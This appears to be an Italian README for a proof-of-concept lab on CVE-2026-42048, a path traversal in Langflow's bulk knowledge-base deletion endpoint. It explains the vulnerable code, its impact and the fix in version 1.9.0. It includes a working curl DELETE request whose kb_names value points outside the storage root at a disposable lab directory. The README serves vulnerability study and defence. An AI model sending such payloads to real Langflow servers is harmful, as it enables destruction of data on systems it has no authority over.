
Langflow Eliminazione Arbitraria di Directory
CVE-2026-42048 Langflow Path Traversal / Eliminazione Arbitraria di Directory PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Vulnerabilità di Eliminazione Arbitraria di Directory in Langflow
descrizione: Una vulnerabilità di path traversal in Langflow precedente alla versione 1.9.0 consente a un utente autenticato di eliminare directory al di fuori del percorso di archiviazione della Knowledge Base previsto attraverso l'endpoint di eliminazione in blocco, DELETE /api/v1/knowledge_bases. Il problema si verifica perché i valori kb_names controllati dall'utente vengono utilizzati per costruire percorsi del filesystem senza una corretta normalizzazione e validazione dei confini.
Per uno sfruttamento riuscito sono necessarie le seguenti condizioni:
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names del corpo della richiesta.Questa vulnerabilità non bypassa i permessi dei file del sistema operativo. Abusa della gestione dei percorsi e della logica di eliminazione di Langflow.
Costruisci ed esegui l'ambiente vulnerabile usando Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
Il laboratorio crea una directory target usa e getta in:
/target/CVE-2026-42048
L'endpoint /status segnala se tale directory esiste ancora.
python3 poc.py
Input interattivo:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Se lo sfruttamento ha successo, target_exists passa da true a false.
Endpoint Vulnerabile
DELETE /api/v1/knowledge_bases
La vulnerabilità risiede nell'API di eliminazione in blocco delle Knowledge Base di Langflow. L'handler interessato accetta un elenco di nomi di Knowledge Base tramite il parametro kb_names e utilizza ciascun valore per costruire un percorso del filesystem da eliminare.
Nelle versioni vulnerabili, la logica di eliminazione in blocco costruisce manualmente il percorso invece di utilizzare l'helper di risoluzione dei percorsi più sicuro impiegato da altri endpoint delle Knowledge Base. Una rappresentazione semplificata del pattern vulnerabile è:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
L'helper di eliminazione alla fine rimuove la directory target con una logica di eliminazione ricorsiva. Poiché kb_name è controllato dall'attaccante, sequenze di path traversal come ../ possono uscire dalla directory della Knowledge Base dell'utente corrente. In pathlib di Python, un percorso assoluto fornito sul lato destro può anche sovrascrivere i componenti di percorso precedenti:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
Di conseguenza, un valore kb_names manipolato può indurre Langflow a eliminare una directory al di fuori della root di archiviazione della Knowledge Base prevista, purché il processo Langflow abbia il permesso di rimuovere quella directory.
Questo è un problema CWE-22: Limitazione Impropria di un Percorso a una Directory Ristretta.
La causa radice è una normalizzazione insufficiente e la mancanza di validazione dei confini dei componenti di percorso controllati dall'utente prima dell'eliminazione ricorsiva. L'endpoint di eliminazione in blocco vulnerabile verifica se il percorso finale esiste, ma non garantisce che il percorso risolto rimanga all'interno della directory della Knowledge Base dell'utente autenticato.
Una correzione robusta deve:
Path.resolve()Langflow ha corretto questo problema nella versione 1.9.0.
L'eliminazione arbitraria di directory può avere un impatto diretto sull'integrità e sulla disponibilità. A seconda dei permessi di distribuzione e della struttura del filesystem, un attaccante potrebbe essere in grado di:
Questo problema non richiede l'esecuzione di codice arbitrario per essere dannoso. L'eliminazione ricorsiva con i privilegi dell'applicazione è sufficiente per danneggiare dati e disponibilità.
+-------------------------------------------+
| Utente Autenticato |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| API Knowledge Base di Langflow |
+-------------------------------------------+
|
| Costruzione non sicura del percorso
v
+-------------------------------------------+
| Il percorso esce dalla directory KB utente |
+-------------------------------------------+
|
| Eliminazione ricorsiva della directory
v
+-------------------------------------------+
| Eliminazione Arbitraria di Directory|
+-------------------------------------------+
Questo laboratorio espone un piccolo proxy di sfida sulla porta 9101. Il proxy tiene nascosti l'intera UI di Langflow e il backend diretto, inoltrando solo il percorso API vulnerabile minimo necessario per questo esercizio.
La directory target per il laboratorio è:
/target/CVE-2026-42048
L'endpoint /status può essere utilizzato per confermare che la directory target sia stata eliminata.
docker stop cve-2026-42048
Questo repository non è inteso a facilitare lo sfruttamento non autorizzato di istanze Langflow. Lo scopo di questo progetto è aiutare ricercatori di sicurezza, difensori e sviluppatori a comprendere la vulnerabilità, validare l'esposizione in ambienti controllati e applicare mitigazioni efficaci.
https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q